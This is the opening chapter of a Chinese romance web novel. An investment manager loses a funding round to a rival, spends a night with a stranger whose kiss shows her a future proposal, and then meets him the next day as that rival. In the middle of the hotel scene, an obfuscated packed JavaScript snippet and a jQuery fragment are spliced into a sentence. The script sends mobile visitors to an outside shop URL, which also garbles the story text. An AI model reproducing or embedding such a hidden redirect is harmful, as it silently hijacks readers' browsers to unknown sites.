#第1章未来丈夫是抢我项目的人
手机响的时候，许予薇正在给融资清单做最后一遍核对，她接起来，对面传来温和的问候。
“许经理啊，结果出来了。”说话的人是灵犀科技的CEO，宋言，他平时说话总是慢慢地，很温柔，“团队和股东商量完了，这一轮，我们准备推进启衡资本的方案。”
办公室的落地窗朝西，下午的天阴着，云压得很低，对面楼的玻璃幕墙反着一层灰白的光。
电脑屏幕右下角，早已过了下班时间，许予薇伸手，端起桌上的咖啡杯。
“恭喜。”她说，“流程走到这一步，说明启衡开的条件更合你们的心意。”
“你别这么说。”宋言在那头叹气，“这四个月你为我们做的事，我们都记着。说实话，许经理，之前我们其实已经决定接受星海的方案了。但是启衡的楚总昨晚和我们团队聊了很久，有句话，说服了大家。”
“什么话？”
“他说，这一轮要是让星海领投，三年以后别人再看灵犀，第一反应就不会再是一家独立的AI公司，而是一家星海系公司。”宋言的语气里带着点如释重负的坦诚，“你也知道，独立这两个字，对我们意味着什么。”
许予薇握着手机，明白自己再无翻盘的胜算，苦笑道：“当然知道……谢谢你告诉我。”
“融资归融资，合作归合作。”宋言说，“我的想法是，明天上午你方便的话，过来一趟，咱们把后面的安排聊一聊？”
“几点？”
“十点，老地方，我让行政把会议室留出来。”
“好，我会到。”
电话挂了，许予薇喝了口咖啡，才发现黑色的液体已经凉透。
四个月……
灵犀B轮融资的窗口一开，她就把这个项目当成三十岁前升投资总监的决定性一仗来打。做AI原生企业办公的创业公司里，灵犀一直在最受关注的那几家之列，肯拿出这一轮份额，等着谈的人不少。她一页页看技术尽调，一家家跑客户访谈，再回集团争额度、争资源，才把星海推进了领投的讨论里。
可四个月的努力，只换来一通疏离的拒绝……
内线电话响起，熟悉而严厉的声音从听筒里传来，“予薇，上来一趟。”
——————————————————
陈屿是星海集团战略投资部的总经理，四十一岁，许予薇的直属领导。灵犀的项目，是他在上面一路顶着，才让她一个高级投资经理独立跟到了现在。
许予薇无声地推门，走进陈屿办公室。
领导脸上常年没什么表情，只有重要话要说时，才会蹙起眉头，“坐。”他说，“结果你知道了？”
“知道了。宋言刚打过电话，告诉了他们团队的决定，也顺便约我明天再过去谈谈。”
“嗯。”陈屿摘下眼镜，用绒布慢慢擦镜片，“投资总监的考评窗口，集团下个月开。本来，要是能拿下灵犀这一轮的领投机会，将是你晋升的最好实绩。”
许予薇没接话。
“启衡进场的方式，你听说了吗？”他把眼镜戴回去，“意向书从进场到发出来，只用了四十八小时。”
四十八小时？许予薇抬起头，难以置信地看着领导。她跑了四个月的东西，启衡资本用一个周末拿走了?
“你丢了领投的机会，灵犀的董事席位也得另谈，市场部那边很不满意，这两天可能会翻你导流客户给灵犀的旧账。”陈屿看着她，“想好怎么说。”
“翻就翻。”许予薇憋了气，咬着下唇道：“单子是灵犀凭产品拿下的，我只是把机会指给他们。”
“总之，该小心的，得小心，你回去也得把收尾做好。”陈屿顿了顿，“明天和宋言好好聊聊，问问他，如果星海退到跟投，他们还打不打算继续合作。”
一听集团没有撤离的打算，许予薇心情稍微好些了，赶紧追问：“原来的两亿，还投吗？”
“都退到跟投了，集团能出一半就不错了。”陈屿说，“按照这个数先谈，争取集团利益最大化。”
“……知道。”晋升的机会没了，筹码减半，活还得接着干，谈判也得继续。许予薇起身，苦涩地笑了笑，“陈总，如果没别的事，我先走了。”
“去吧，好好跟，好好干。”
许予薇转身，迈着失去了知觉的腿，退出了办公室。
好好干……这才是残忍难堪的。
失败者连退场的选择都没有，还得继续陪着赢家干活。
————————————————————————
许予薇赶到约定的酒吧时，闺蜜林妍已经喝到第三杯了。
林妍是许予薇的大学同学，性格开朗外向，长得明艳动人，一家市场营销公司的总监，远远看见许予薇进来，便起身打招呼，一头栗色齐肩卷发随着动作一颠一颠，脸颊随着笑容凹下深深的酒窝。
酒吧叫“渡”，名字起得很禅，实际吵得像菜市场，灯光暧昧，人影幢幢，调酒师摇壶的声音盖不住四面八方的笑闹。
老板是林妍的前同事，店开在许予薇和林妍的住处之间，两人过来都不算远，加上又是熟人的地盘，因此开业之后就成了两人经常聚会的地方。
“还没吃饭吧？”林妍将许予薇按进角落的卡座，小跑到吧台，端了一盘热食回来，“先吃点垫一垫。先说好，今晚不谈工作。”
许予薇拿起叉子吃了两口，林妍才把酒推过来，两个人吃着喝着，把各自这两天的糟心事都吐槽了一遍。
“所以，你忙了四个多月的项目，就这么黄了？”林妍难以置信地望着好友。从读书以来，失败二字似乎就和她绝缘。
“对啊……三十岁之前晋升总监的人生里程碑也破碎了。”
“那个什么启衡，四十八小时，把你四个月干没了？”
许予薇沉默两秒，纠正：“严格来说，是四个月零十二天。”
林妍把杯子往桌上一放。
“X！”
许予薇低头叉了块薯角。
“你文明一点。”
“我已经很文明了。”林妍指着她，“换成我被截胡了，今晚就不坐在这里喝酒，而是去网上发帖，激情开喷了。”
“我本来以为拿下这个项目后，下个月升职考评就有亮眼的材料可以展示。”她盯着杯子里晃动的冰块，“我跟了四个月，客户一家一家跑，集团里能求的人基本都求过了。述职材料我都改到第四版了，连升了总监以后请你吃那家餐厅、朋友圈发什么文案都想好了。”
许予薇说着说着，反而笑了起来，喝了一口酒,“毕业进入星海以来……我一直坚信三十岁以前升总监这件事，肯定能实现。现在看来，是我太高估自己，也太小瞧职场了。”
她说得很轻，像是在说一件已经没什么所谓的小事。
可林妍认识许予薇太久了，知道她这个人，从本科开始就很要强，奖学金要争第一，实习要拿最高评价，工作以后连年终述职都要提前一个月准备到倒背如流……她很少说自己想要什么，可一旦说出口，多半已经在心里演练过无数遍。
林妍心疼地揽过她，拍了拍她的肩膀，趁机给她倒酒：“那个该死的启衡，什么破公司啊，别人谈四个月，把资源都堆得满满当当了，他们冲进来窃取胜利果实，四十八小时把人项目截走，商业道德呢？”
“投资又不是吃饭，哪有什么先来后到。”
“怎么没有？”林妍振振有词，“你陪创业公司熬了四个月，做尽调、拉客户、争资源，眼看都要进洞房了，姓启的突然开着跑车来了——”
“启衡不姓启。”
“我知道，我骂的是公司。”
“那你继续。”
“开着跑车停在婚礼现场门口，说，新娘你跟我走，我保证你婚后独立自主。”
许予薇没忍住，趴在桌上笑了一会儿。
“你别说。”她笑够了，慢慢坐直，“差不多就是这个意思。”
“真这么厉害？”
“宋言跟我说，启衡那个楚总只说了一句话。”
“什么？”
许予薇拿起杯子，学着宋言下午的语气：“这一轮如果让星海领投，三年以后别人再看灵犀，第一反应就不会再是一家独立的AI公司，而是一家星海系公司。”
林妍怔了一下，“……我去，这话术……有点东西。”
“是吧？”
“但是我不想承认。”
“我也不想承认。”
闺蜜间对视了两秒，林妍重新靠回沙发：“行，骂归骂。这个楚什么——”
“楚总。”
“姓楚？”
“嗯。”
“楚总确实挺会灌迷魂汤。”
许予薇晃着杯里的冰，“不是普通的迷魂汤，简直就是精准投喂。”
林妍笑起来。
许予薇却慢慢收了笑。
“灵犀现在最怕什么？不是钱不够，也不是资源不够。他们最怕自己变成大厂生态里的一块拼图。”她说，“星海给得越多，云、算力、客户、品牌背书，在他们眼里就越像一根绳子。”
林妍皱眉：“那你们给资源还给错了？”
“当然不是。”许予薇摇头，“站在星海的角度，这些全是筹码。站在灵犀的角度，也是实打实的好处。问题是——”她用指尖轻轻敲了敲杯壁，“启衡把这些好处，换了个说法。”
“什么说法？”
“收编。”
林妍“啧”了一声。
许予薇继续道：“一句话，把我们四个月讲的产业协同，翻译成了‘你以后还想不想做你自己’的灵魂拷问。”
“X！”
“你又来了。”
“这次是替你感叹。”林妍端起杯子，“太阴了。”
“也不能算阴。”许予薇很客观，“谁叫宋言他们真正在意这个，对方只是戳中了他们团队的心窝子。”
“你怎么还替他讲话？”
“输了总得知道输在哪儿。”
林妍幽幽看着她，摇头道：“压抑……太压抑了！你这个人啊，别人抢了你的升职机会，你怎么还能冷静分析对方话术为什么有效。”
“那不然呢？”
“骂啊。”
“刚才不是骂了吗？”
“不够。”
“那你骂。”
林妍举起杯子，郑重宣布：“祝启衡资本下一个项目尽调到凌晨三点，财务模型全部报错，投委会材料做完以后老板临时说不投了。”
许予薇终于笑了，跟她碰杯。
“太恶毒了。”
“还有那个楚总。”
“人家叫什么你都不知道。”
“我不需要知道。”林妍冷酷地说，“能四十八小时撬走你四个月项目的男人，一听就不是好东西。”
“从投资人的角度讲——”
“闭嘴。”
许予薇乖乖地闭了嘴，仰头喝掉半杯，心情终于从下午那片沉甸甸的灰里浮上来一点。
然而下午的电话和明天的会在脑子里过了一遍，她还是认命地从包里把电脑拿了出来。
林妍盯着那台电脑看了三秒。
“许予薇。”
“嗯？”
“我请你来，是喝酒的。”
“我改完这一段就喝。”
“你抱着电脑来酒吧加班，你知道这个画面班味多重吗？”林妍指了指四周，“熏得隔壁桌都在看你了。”
“那正好。”许予薇敲着键盘，头也不抬，“让他们看看什么叫成者为王，败者为寇。”
林妍被她气笑了，抬手又叫了一轮酒。
“行行行，你慢慢改。我陪你。”
许予薇盯着屏幕，心思被明天的会填满，届时宋言一定会提资源的事。
这四个月里她替灵犀争取的每一项支持——云服务、算力、集团客户推荐——全都白纸黑字附在同一个前提上：星海领投。现在领投机会没了，这一页就从诚意变成了待重谈的账目。
光标停在那页附条件资源说明上，许予薇的手指悬在删除键上方，纠结要不要先全部删掉。
林妍没再催，只默默地在旁边刷着视频，时不时地抬眼看看她。
过了一会儿，她忽然凑过来，用手肘碰了碰许予薇。
“哎。”
“干嘛？”
“两点钟方向。”
许予薇还在看屏幕：“什么？”
“男的。”
“……”
“看你三次了。”
许予薇顺着她的示意瞥了一眼。
隔着两张桌子，高脚凳上坐着个男人。
面前一杯酒，没怎么动。
灯光从他侧后方打过来，他微微偏着头，看的正是这个方向，准确地说，是她这台和酒吧格格不入的笔记本电脑。
目光坦坦荡荡。
被当场抓获也不躲，反而举了举杯。
个子很高，肩背挺拔，坐在高脚凳上也显得舒展，深色衬衫的领口随意地解了两扣，露出利落的锁骨线条。修长的脖颈之上，长着一张精致立体的脸，眉骨很高，眼窝深，光落进去，那双眼睛便显得格外深邃、专注。
许予薇只看了一眼便收回目光。
“看电脑呢。”她说，“没见过抱着电脑来酒吧的，觉得稀奇。”
“人家是看电脑还是看你，你心里没数吗？”林妍啧了一声，“长那样了都。”
“长哪样？”
“就是你每次看电影，一旦怼脸，就会倒吸一口气的长相。”
许予薇：“……”这个形容过于精准，她竟无法反驳。
林妍的手机在这时候震动起来。她看了眼屏幕，眉头皱起来，接起来说了两句便挂断，一脸愧疚：“公司出状况，投放物料印错了，我得回去盯着重印。”
“去吧。”
“你一个人行吗？”林妍收拾包，动作飞快，嘴上没停，“要不你跟我一起走？”
“我把这段改完就走。”
林妍站起身，又折回来，双手撑在桌上盯着她，不放心地说：“薇薇，我知道你今天心里堵，但你千万别喝多了，也别做什么冲动的决定，知道吗？”
许予薇敲击键盘的手停了一拍，“走吧。”她说，“我又不是小孩了，物料要紧，我会照顾自己的。”
林妍捏了捏她的肩，留下一句“到家了记得给我发消息”，风风火火地走了。
卡座一下子空了。
许予薇继续改材料。改着改着，指尖慢了下来。
这份材料写得再好，明天也只是用来认输的。四个月，她把每一步都走到了，最后输给一个连面都没见过的人。最可悲的是，她到现在都没想通，是自己不够真诚，还是对方公司太会忽悠了？
她端起面前的酒，灌了一大口，酒很甜，后劲却冲，从喉咙一路烧到胃里。
“这个位置有人吗？”头顶落下一个低沉的声音，带着点漫不经心的散漫。
许予薇头也不抬，冷冰冰地回了句“有。”
对方扶住对面的椅背，没有坐。
“那我问晚了。”他说，“我还想着，能不能借半张桌子。”
许予薇抬起眼，发现正是两点钟方向那位，再细细看去，对方那双眼睛竟比远观时更好看更深邃。
——这该死的眼神，看狗都深情。
不知为何，许予薇脑子里第一时间浮出了这句话。
“你自己不是有桌子吗？”她问。
“有，但那边没人陪我说话。”
“我这里也没人说话。”
“看出来了，你忙，我可以等你改完。”
许予薇盯着他看了两秒，低头继续敲键盘：“随便你，别出声就行。”
“好。”
他这才坐下，将自己的杯子放到桌边，给她的电脑留足位置，随后真的不出声了。许予薇改完一段，保存，长出一口气，伸手去够酒杯，杯子空了。
一杯柠檬水推到她面前。
“我没点。”
“我点的。”他说，“你盯着屏幕很久了，杯子空了都没发现。先喝点水吧。”
许予薇一怔，扫了眼屏幕，才发现自己对着电脑已经忙了两个小时了。
这么嘈杂的环境，也能憋着一股劲，拼项目、改协议，想起自己对成功那股好笑的执念，心底堵了一晚上的东西，毫无预兆地涌了上来。
她端起柠檬水喝了一口，不知是水酸，还是心酸，眼眶没出息地热了。
“喂。”对面的人说，“别哭。”
“谁哭了？”
“你。”他往后靠了靠，“电脑合上吧，看你这么难受，失恋了？”
“比失恋严重。”许予薇吸了下鼻子，把电脑合上，“失恋只损失一个人。”
“那是损失了什么？”
“四个月。”她说，“和三十岁之前的一整套人生规划。”
他点点头，没有追问四个月是什么，也没有说节哀之类的废话，只将桌边的纸巾推了过来。
“那是够难受的。难怪你刚才看谁都像来抢电脑的。”
许予薇看着他：“你到底想干什么？”
“刚才想认识你。现在有点担心，你忍着不哭，是不是因为我坐这儿。”
“……你这人是不是有什么毛病？”
“有。”他承认得很痛快，“看见别人说没事，偏要再多问一句。”
许予薇瞪着他，眼眶还热着，嘴角却先松了。这个人接话的方式很奇怪，不安慰，不唐突，却教人莫名地亲近放松。
应该是长得帅的原因。她把心底的一点点好感压了下去，板着脸问：“你到底是干什么的？这么会聊天。”
“我的工作，说出来像诈骗。”他说，“每天劝别人把钱给我。”
“巧了。”她说，“我的工作也差不多。每天劝别人，把前途给我。”
“骗子和骗子，碰一块儿了。”他举起杯子，朝她示意了一下，“那今晚算行业交流。”
许予薇这下子没忍住，噗嗤笑出了声。她笑完才反应过来：这个人接得住她所有的话，值得当个聊天搭子打发一会儿时间。
酒吧的灯换了一轮颜色，吧台那边开始收起空酒瓶，桌上的温水又添过一次。
许予薇没再喝酒。她同他聊了很久，从最受不了的交通状况，聊到最近上映的电影，她紧绷的肩颈松下来，只觉得眼前那张脸倒越看越顺眼。
午夜的报时音乐响起时，她才惊觉时间已经到了新的一天。
“我该走了。”她合起电脑，塞进包里。
买单的时候，她抢着扫了码：“谢谢你陪我聊天，这单我来买吧。”
“行。”他没跟她抢，手伸到电脑包旁边，“这个我帮你拎？你先把外套穿上。”
许予薇看了他一眼，将包递过去，腾出手穿好外套。
午夜的街口，风比白天刮得更寒凉，她裹了裹外套，看他一手拎着她的电脑包，一手插在兜里，站在路灯底下，影子被拉得很长。
“你住哪儿？”她问，“我叫车，先送你。”
“不用送，我最近就住对面。我们公司刚搬到附近，就暂时住这儿，省得通勤。”他朝街对面示意，许予薇顺眼望去，看到那栋高楼顶上奢华低调的W灯牌亮着。
他住的酒店离酒吧只隔着一条马路，看起来很近。
“哦。”她说，“那挺方便。”
“上去坐坐？”他说，“你要想回家，我们也可以在这里等车。”
路灯下，他拎着她的电脑包，安安静静看着她，把选择权递到了她手里。
许予薇看着路灯下的影子，头越埋越深，心却热了起来。
在这座城市打拼的每一天，每一件事都要求她负责，她都要逼自己成功：项目要负责，条件要正确，晋升要成功，连难过都得排在下班以后，只有现在这个场景，不要求她满足任何KPI
“……行啊……”她听见自己用陌生的声音说着，“上去坐一会儿也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965507|214490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
行。”
穿过堂皇明亮的大堂，电梯里，两个人并排站着，看楼层数字一格一格往上跳。
“哎。”他忽然开口，“我姓——”
“别。”她盯着跳动的数字，打断他，“别告诉我。”
“为什么？”
“名字这东西，知道了，”她说，“以后万一再见，会很尴尬。”
电梯叮的一声到了。他侧身让她先出去，声音从身后跟过来，带着一丝散漫的温柔。
“行。”他说，“那就不说。”
————————————————————————————
房间门在身后合拢，锁舌磕进锁孔，一声轻响。
他住的是高层的套间，外间有一张宽大的沙发和茶几，窗外是这个城市最亮最密集的一片灯海，窗帘没拉严，灯光从缝里漏进来，在地毯上切出一道细长的亮线。
许予薇坐在窗边，给林妍发了条消息，说自己今晚有安排，明早再联系。手机搁到手边时，她看见屏幕映出自己的脸，眼睛里还有红血丝，眉头却舒展开了。
后来的事，她自己也说不清是从哪一秒开始越线的。是他先伸手，替她拨开粘在唇边的头发，还是她先抓住了他的袖口。只记得他靠过来的时候，她在最后一刻偏开了脸。
“我不想接吻。”
黑暗里，他停了一秒。
“好。”
她把这一夜交给了自己的底线，唯一的规矩，对方也答应了，剩下的，是她二十七年来第一次允许自己不去想后果。
————————————————————————————
午夜过去很久了。窗帘缝里那道亮线偏了个角度，房间里很静，静得能听见彼此的呼吸。
许予薇靠着床头，困意上来，脑子却还在开会，议题是“你今晚都干了什么”。她不后悔，就是觉得有点不真实，像是替别人活了一晚。
身边的男人坐起来。她以为他要去倒水，刚想说不用管我，下巴就被轻轻捏住了。
他低头，吻住了她。
这个吻很慢，很认真，认真得不像一时兴起。
许予薇的脑子嗡的一声炸开了，谴责的话还没能出口。
下一秒，她的视野整个翻了过来——无数画面在她脑海中炸开，画面碎片劈头盖脸地飞来，每一片上方都悬着一个日期，数字清晰地浮在天空里。
明亮的桌面、晃过的人影、深夜的窗，片段换得太快，她根本来不及看清画面里得内容，只看见不断浮起的日期和数字。
嘴唇分开得一瞬间，所有的碎片都如潮水般退了下去，只剩一幅定在她眼前。
十月十六日——硕大的黑色数字定格在画面正中央。
还是这个男人，他穿着笔挺的黑色西装，单膝跪在她面前，手里托着一只打开的戒指盒，仰头看她。周围的彩灯亮成一片，和巨大的钻戒闪光交错一道，晃得人睁不开眼；画面里的她自己，站在原地，哭得稀里哗啦。
然后，天旋地转的耳鸣伴随着画面退去的残痕响起，脑海中的虚影和现实的房间叠在一起，她有些分不清周遭景物的轮廓了。
“怎么了？”他伸手扶住她的肩。
“说过不接吻的。”她怔怔地盯着远处，像是看到了很远很远的远方，“你答应了的。”
他的手停住，随后收了回去。
“对不起，是我没守约。”他说，“我退开，你先缓缓。”
许予薇慢慢转过头，试着双眼聚焦，看清他的脸。
就是这张脸，在上一瞬，在她的眼前，单膝跪地，举着戒指盒，仰着头，在漫天闪光灯里，问她愿不愿意。
……哈？
她喝酒喝出幻觉了？不对，刚才的画面，刚才的眩晕感，她太熟悉了！从三岁那年起，从妈妈那个被摔碎的花瓶起——接吻，走马灯，日期，锁定，这套流程已经刻进她的本能里了。
异能……她的预言异能又被动触发了……只要一接吻，就能看到对方的未来。
也就是说，十月十六日，眼前这个男人，会单膝跪地，向她求婚。
而她，会哭成那个鬼样子。
开什么玩笑？她连他叫什么名字都不知道。她从一开始，也压根不想知道这个男人的名字，她这一晚只是用来告别那四个月、告别那个三十岁前走上人生巅峰的可笑野心的，不是用来预订一个丈夫的。
可她也知道，自己在接吻时看到的预言画面，从来没落空过。三岁的花瓶没有，十六岁那个在医院里哭的男生没有，后来每一段无疾而终的感情都没有……她看见什么，就来什么，一天都不带差的。
只是以前，那些都是别人的命。看别人的未来，像隔着玻璃看一场跟自己无关的戏，看完，日子照过。这一次，碎片里的主角，除了眼前的男人，还有她自己。
她连自己的明天吃什么都不知道，偏偏先知道了一个月后会被求婚。
“你脸色很难看。头晕？”
“……没事。”她听见自己说，声音飘忽得像别人的。
他把床头灯调暗，半撑起身体，看着她。
“真是见鬼了。”她说，“不对……比鬼还离谱。”
“说说？”
“说了你不信。”
“你愿意讲，我就听。”
许予薇侧过头看他。灯光调暗了，他的眉骨在眼窝投下一小片阴影，那双眼睛看过来的时候，还是那副专注得没有礼貌的样子。
“算了。”她说，“天机不可泄露。”
“行。”他也不追问，“那等你哪天想泄露了，再来找我。”
“找你？”她哼了一声，“我上哪儿找你去？你连个名字都没给。”
“规矩是你定的。”他提醒她，“你说知道了名字会尴尬。”
“……”那倒是，但他或许不知道，后续他们不仅会知道彼此的名字，还有可能绑定一辈子。
许予薇把脸别向另一边，心烦意乱，却又有些期待。
她应该走的。穿上衣服，摔上门，把这个荒谬的夜晚连同那幅画面一起锁在身后，这才是许予薇会做的事。
可是她没有动，也不知道是舍不得，还是头晕导致的。
后来是她先转回脸，伸手轻轻握住了他的手腕。
她告诉自己，她想继续的是眼前的温柔，不是画面里还没到来的婚姻。那条不接吻的规矩，她又说了一次，他抚摸着她的脸，温柔地答应了，这一次没有再违约。
————————————————————————————
她醒来时天刚亮，身侧已经空了。
房间里很静，椅背上的西装不见了，衣柜门虚掩着一条细缝。床头柜上放着一张酒店便签，被那支黑色签字笔压在一旁。
许予薇坐起身，伸手拿过那张纸。
上面没有名字，没有留言，只有一串写得随意的手机号。
她捏着便签看了一会儿，气笑了。
昨晚去酒吧前，她把边界定得很清楚：不问名字，不再联系，也不接吻。这男人先偷亲了她，然后留了手机号，最后人却先消失了。
许予薇掀被下床，把便签随手揉成一团扔进垃圾桶，开始收拾自己，然后打开手机，未读消息挤满屏幕，工作群的红点争先恐后地跳出来。
她熄灭了屏幕，走到玄关换鞋。
手搭上门把锁的那一刻，她停住了，转身又望向垃圾桶，那个纸团正安静地躺在桶底。
许予薇犹豫再三，还是转身走回去，把纸团捡起来展开，用手心抚平上面的折痕，收进了电脑包最里面的夹层。
留着它，跟昨晚看到的那个求婚预言没关系。是因为今天上午十点，灵犀科技还有一场碰头会。如果这个会开得顺利，宋言能给她一个说得过去的交代，那她或许可以把电话打过去，试着和男人进一步相处。
人生都跌进低谷了，也不怕再多失控一回。
要是开得不顺，这串数字就当没存在过。
嗯，就这么愉快地决定了。
---
灵犀科技在前海中心十七层。许予薇提前十分钟到了，前台姑娘认识她，引着她往里走。
走廊很长，地毯吸掉了脚步声。她抱着电脑，在心里过最后一遍今天要谈的底线：算力、服务器、排他边界，一样都不能让，定要让被刺她诚意的宋言知道她的厉害。
一号会议室的门开着。
“许经理来了。”宋言在里面打招呼。他穿着常穿的浅色衬衫，笑容和气，眼下带着熬夜的青黑。
她应了一声，抬脚进门，目光顺势往前扫。
长桌靠窗那一侧，坐着一个人。
深色衬衫，身形修长，正低头看一份材料，听见动静，抬眼看过来。
两人的目光在半空撞上。
许予薇步子微顿，脸颊不受控制地泛起一阵热意。
昨晚那张和她耳鬓厮磨的帅脸，此刻就坐在长桌对面。
对方看到她，眼神也是微顿，随即唇角压不住地浮起一丝笑意，双手十字交叉在胸前，整个人散漫地往后靠了靠。
许予薇不动声色地挪开视线，落在他面前的桌牌上——
【启衡资本管理合伙人】
【楚既明】
那个抢走她跟了四个月的项目、害她晋升暂停的对手；
昨晚同睡一张床、留了一盏夜灯的陌生人；
也是十月十六日，要在闪光灯下单膝跪地向她求婚的男人。
现在这三重身份重叠在一个人身上，隔着一张会议桌，冲她笑了笑。
“许经理，来，我介绍一下。”宋言还在热情张罗，“这位是启衡的楚总。楚总，这位就是星海的许予薇经理，灵犀前期的方案多亏了她……”
楚既明看着她紧绷的脸色，修长的手指在桌面上轻叩了两下，开口时嗓音低平微哑：
“许经理，久仰。”
许予薇深吸一口气，艰难地扯出一个职业微笑。
久仰。
久仰你个头。